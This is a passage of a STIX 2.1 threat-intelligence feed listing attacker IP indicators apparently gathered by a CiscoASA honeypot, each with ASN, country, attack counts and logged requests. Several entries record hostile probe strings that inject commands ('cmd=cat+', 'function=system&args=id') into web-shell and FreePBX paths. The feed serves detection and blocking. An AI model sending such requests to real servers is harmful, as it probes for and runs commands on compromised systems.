      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T10:20:10.000Z",
      "valid_until": "2026-06-24T10:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 90,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 581,
          "first_seen": "2026-05-23T10:17:11.030Z",
          "last_seen": "2026-05-30T13:18:22.083Z",
          "country": "Bulgaria",
          "country_code": "BG",
          "asn": 213474,
          "as_org": "HomeLine Broadband LLC",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.0\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.0\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.0\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-05-23T12:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 203020 (HostRoyale Technologies Pvt Ltd)",
      "id": "indicator--c73c9bf2-5ba1-485a-877e-c22399394bea",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '103.251.27.74']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T12:20:10.000Z",
      "valid_until": "2026-06-24T12:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 6,
          "first_seen": "2026-05-20T13:52:01.120Z",
          "last_seen": "2026-05-23T11:43:16.891Z",
          "country": "United States",
          "country_code": "US",
          "asn": 203020,
          "as_org": "HostRoyale Technologies Pvt Ltd",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-23T12:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 212238 (Datacamp Limited)",
      "id": "indicator--64d14785-d212-4b1f-92be-4a5a74788b06",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '37.19.210.3']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T12:20:10.000Z",
      "valid_until": "2026-06-24T12:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 9,
          "first_seen": "2026-05-21T00:25:19.489Z",
          "last_seen": "2026-05-26T09:30:30.827Z",
          "country": "United States",
          "country_code": "US",
          "asn": 212238,
          "as_org": "Datacamp Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-23T12:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 - geo: GB; ASN 25369 (Hydra Communications Ltd)",
      "id": "indicator--0f903771-e2fe-448e-8c46-fafc9f32a8c4",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '62.84.168.163']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T12:20:10.000Z",
      "valid_until": "2026-06-24T12:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 2,
          "first_seen": "2026-05-23T11:35:57.438Z",
          "last_seen": "2026-05-23T11:35:58.209Z",
          "country": "United Kingdom",
          "country_code": "GB",
          "asn": 25369,
          "as_org": "Hydra Communications Ltd",
          "event_types": [
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-23T17:20:04.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--f611e1b1-245e-45a9-9589-c7232d1d7b20",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.113.80']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T17:20:04.000Z",
      "valid_until": "2026-06-24T17:20:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 6,
          "first_seen": "2026-05-23T16:58:20.124Z",
          "last_seen": "2026-05-27T18:09:29.113Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-23T17:20:04.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: HK; ASN 9465 (AGOTOZ PTE. LTD.)",
      "id": "indicator--46f8e88e-9cb1-4c7f-a227-cc8a6d646ca5",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '45.142.154.15']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T17:20:04.000Z",
      "valid_until": "2026-06-24T17:20:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 8,
          "first_seen": "2026-05-23T16:59:34.094Z",
          "last_seen": "2026-05-23T16:59:42.774Z",
          "country": "Hong Kong",
          "country_code": "HK",
          "asn": 9465,
          "as_org": "AGOTOZ PTE. LTD.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /+CSCOE+/favicon.ico HTTP/1.1\" 404 -",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"GET /+CSCOE+/win.js HTTP/1.1\" 200 -",
            "\"GET /favicon.ico HTTP/1.1\" 404 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-05-23T18:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: NL; ASN 49870 (Alsycon B.V.)",
      "id": "indicator--23b6403f-6741-46f0-9590-ca362e7e67bc",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '45.95.147.229']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T18:20:10.000Z",
      "valid_until": "2026-06-24T18:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 6,
          "first_seen": "2026-05-23T18:06:45.947Z",
          "last_seen": "2026-05-23T18:17:37.264Z",
          "country": "The Netherlands",
          "country_code": "NL",
          "asn": 49870,
          "as_org": "Alsycon B.V.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-05-23T19:20:04.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--3921508e-a0ab-49d7-b4fc-4e5d0d813b30",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '156.229.255.61']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T19:20:04.000Z",
      "valid_until": "2026-06-24T19:20:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 42,
          "first_seen": "2026-05-23T18:35:31.758Z",
          "last_seen": "2026-05-30T15:38:04.236Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-23T20:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 9009 (M247 Europe SRL)",
      "id": "indicator--506135ef-f2d2-4d30-a318-360ec2e5fcbf",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '146.70.166.134']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T20:20:05.000Z",
      "valid_until": "2026-06-24T20:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 3,
          "first_seen": "2026-05-23T19:33:59.416Z",
          "last_seen": "2026-05-23T19:34:09.818Z",
          "country": "United States",
          "country_code": "US",
          "asn": 9009,
          "as_org": "M247 Europe SRL",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-23T20:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 14061 (DigitalOcean, LLC)",
      "id": "indicator--89430396-5b13-4221-b78a-35f9deaf6697",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '167.99.1.98']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T20:20:05.000Z",
      "valid_until": "2026-06-24T20:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 2,
          "first_seen": "2026-05-23T19:29:30.735Z",
          "last_seen": "2026-05-23T19:29:33.738Z",
          "country": "United States",
          "country_code": "US",
          "asn": 14061,
          "as_org": "DigitalOcean, LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-05-24T01:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--335615b0-0dc1-42bd-a42b-d58778fe3dce",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '173.249.252.213']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T01:20:10.000Z",
      "valid_until": "2026-06-25T01:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 18,
          "first_seen": "2026-05-24T00:47:01.417Z",
          "last_seen": "2026-05-27T09:53:00.713Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-24T01:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /robots.txt HTTP/1.1\" 404 - geo: US; ASN 14618 (Amazon.com, Inc.)",
      "id": "indicator--0bbe3ce1-70e8-46db-8927-5a3662766145",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '18.209.56.12']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T01:20:10.000Z",
      "valid_until": "2026-06-25T01:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 1,
          "first_seen": "2026-05-24T00:52:03.757Z",
          "last_seen": "2026-05-24T00:52:03.757Z",
          "country": "United States",
          "country_code": "US",
          "asn": 14618,
          "as_org": "Amazon.com, Inc.",
          "event_types": [
            "\"GET /robots.txt HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-24T01:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: POST /admin/ajax.php HTTP/1.1\" 200 - geo: DE; ASN 60729 (Stiftung Erneuerbare Freiheit)",
      "id": "indicator--2a86cccf-2fe7-4020-97e0-e543e144a4c9",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '185.220.101.143']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T01:20:10.000Z",
      "valid_until": "2026-06-25T01:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 2,
          "first_seen": "2026-05-24T01:16:48.050Z",
          "last_seen": "2026-05-24T01:16:51.054Z",
          "country": "Germany",
          "country_code": "DE",
          "asn": 60729,
          "as_org": "Stiftung Erneuerbare Freiheit",
          "event_types": [
            "\"POST /admin/ajax.php HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-05-24T01:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: POST /admin/modules/framework/amp_conf/htdocs/admin/ajax.php HTTP/1.1\" 200 - geo: DE; ASN 60729 (Stiftung Erneuerbare Freiheit)",
      "id": "indicator--75c35b69-8804-48b8-bf78-a92f7aefd337",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '185.220.101.35']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T01:20:10.000Z",
      "valid_until": "2026-06-25T01:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 2,
          "first_seen": "2026-05-24T01:16:58.639Z",
          "last_seen": "2026-05-24T01:17:01.643Z",
          "country": "Germany",
          "country_code": "DE",
          "asn": 60729,
          "as_org": "Stiftung Erneuerbare Freiheit",
          "event_types": [
            "\"POST /admin/modules/framework/amp_conf/htdocs/admin/ajax.php HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-05-24T01:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: Request timed out: TimeoutError(The read operation timed out) geo: NL; ASN 215125 (Church of Cyberology)",
      "id": "indicator--3a82dc28-9929-44c8-acce-04f03cc1bf4d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '192.42.116.105']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T01:20:10.000Z",
      "valid_until": "2026-06-25T01:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 6,
          "first_seen": "2026-05-24T01:17:29.928Z",
          "last_seen": "2026-05-24T01:17:41.484Z",
          "country": "The Netherlands",
          "country_code": "NL",
          "asn": 215125,
          "as_org": "Church of Cyberology",
          "event_types": [
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"POST /admin/ajax.php HTTP/1.1\" 200 -",
            "\"POST /admin/ajax.php?module=blacklist HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-24T01:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: Request timed out: TimeoutError(The read operation timed out) geo: NL; ASN 215125 (Church of Cyberology)",
      "id": "indicator--a2286a3d-dc47-484f-a677-9fcba1d5c9cd",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '192.42.116.108']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T01:20:10.000Z",
      "valid_until": "2026-06-25T01:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 14,
          "first_seen": "2026-05-24T01:17:42.998Z",
          "last_seen": "2026-05-24T01:29:40.487Z",
          "country": "The Netherlands",
          "country_code": "NL",
          "asn": 215125,
          "as_org": "Church of Cyberology",
          "event_types": [
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /admin/ajax.php?module=hotelwakeup HTTP/1.1\" 404 -",
            "\"GET /admin/config.php?display=OpenVAS&handler=api&file=OpenVAS&module=OpenVAS&function=system&args=id HTTP/1.1\" 404 -",
            "\"GET /admin/modules/backup/page.backup.php HTTP/1.1\" 404 -",
            "\"GET /maint/config.all.php?x HTTP/1.1\" 404 -",
            "\"GET /meetme/config.all.php?x HTTP/1.1\" 404 -",
            "\"GET /mobrise/config.all.php?x HTTP/1.1\" 404 -",
            "\"GET /modules/config.all.php?x HTTP/1.1\" 404 -",
            "\"GET /nwebmail/config.all.php?x HTTP/1.1\" 404 -",
            "\"GET /panel/config.all.php?x HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-24T01:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /1.php?badr HTTP/1.1\" 404 - geo: NL; ASN 215125 (Church of Cyberology)",
      "id": "indicator--c20f3ec1-942f-42d3-8e92-c76d6ed449fc",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '192.42.116.14']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T01:20:10.000Z",
      "valid_until": "2026-06-25T01:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 12,
          "first_seen": "2026-05-24T01:18:45.753Z",
          "last_seen": "2026-05-24T01:19:27.656Z",
          "country": "The Netherlands",
          "country_code": "NL",
          "asn": 215125,
          "as_org": "Church of Cyberology",
          "event_types": [
            "\"GET /1.php?badr HTTP/1.1\" 404 -",
            "\"GET /?pal=cat+index.php& HTTP/1.1\" 404 -",
            "\"GET /admin/?pal=cat+index.php& HTTP/1.1\" 404 -",
            "\"GET /admin/config.php?pal=cat+config.php& HTTP/1.1\" 404 -",
            "\"GET /admin/modules/cxpanel/index.php?pal=cat+index.php& HTTP/1.1\" 404 -",
            "\"GET /admin/modules/ucp/htdocs/index.php?pal=cat+index.php& HTTP/1.1\" 404 -",
            "\"GET /darkness.php?xasd HTTP/1.1\" 404 -",
            "\"GET /digium_phones/ajax.php?cmd=cat+ajax.php& HTTP/1.1\" 404 -",
            "\"GET /digium_phones/emo.php?yokyok=cat+emo.php& HTTP/1.1\" 404 -",
            "\"GET /omda.php?xzxr45f HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-24T01:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: Request timed out: TimeoutError(The read operation timed out) geo: NL; ASN 215125 (Church of Cyberology)",
      "id": "indicator--b11fb7ed-b8cc-4759-9591-d627e0ed27b1",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '192.42.116.17']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T01:20:10.000Z",
      "valid_until": "2026-06-25T01:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 6,
          "first_seen": "2026-05-24T01:17:10.678Z",
          "last_seen": "2026-05-24T01:17:27.786Z",
          "country": "The Netherlands",
          "country_code": "NL",
          "asn": 215125,
          "as_org": "Church of Cyberology",
          "event_types": [
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /recordings/index.php HTTP/1.1\" 404 -",
            "\"POST /admin/ajax.php?module=blacklist HTTP/1.1\" 200 -",
            "\"POST /admin/ajax.php?module=music HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-24T01:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /Z3R0-C00L.php? HTTP/1.1\" 404 - geo: NL; ASN 215125 (Church of Cyberology)",
      "id": "indicator--dc9d76fe-1212-42ef-840d-d826cd375420",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '192.42.116.19']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T01:20:10.000Z",
      "valid_until": "2026-06-25T01:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 12,
          "first_seen": "2026-05-24T01:18:47.244Z",
          "last_seen": "2026-05-24T01:23:20.004Z",
          "country": "The Netherlands",
          "country_code": "NL",
          "asn": 215125,
          "as_org": "Church of Cyberology",
          "event_types": [
            "\"GET /Z3R0-C00L.php? HTTP/1.1\" 404 -",
            "\"GET /Z3R0-C00l.php.call?cmd=cat+*.call HTTP/1.1\" 404 -",
            "\"GET /admin/modules/admindashboard/phpsysinfo/ass.php? HTTP/1.1\" 404 -",
            "\"GET /admin/modules/phpinf/page.phpinf.php?komand=cat+page.phpinf.php&1 HTTP/1.1\" 404 -",
            "\"GET /emo.php?yokyok=cat+emo.php& HTTP/1.1\" 404 -",
            "\"GET /nigga/ari.conf HTTP/1.1\" 404 -",
            "\"GET /recordings/Dead_Sec_Team/config.php? HTTP/1.1\" 404 -",
            "\"GET /recordings/config.amportal.php? HTTP/1.1\" 404 -",
            "\"GET /vamp.php?c=cat+vamp.php& HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-24T01:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: POST /vtigercrm/config.all.php HTTP/1.1\" 200 - geo: NL; ASN 215125 (Church of Cyberology)",
      "id": "indicator--23d36ef8-750c-45a3-ae8d-9759caae7dcd",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '192.42.116.21']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T01:20:10.000Z",
      "valid_until": "2026-06-25T01:20:09.000Z",
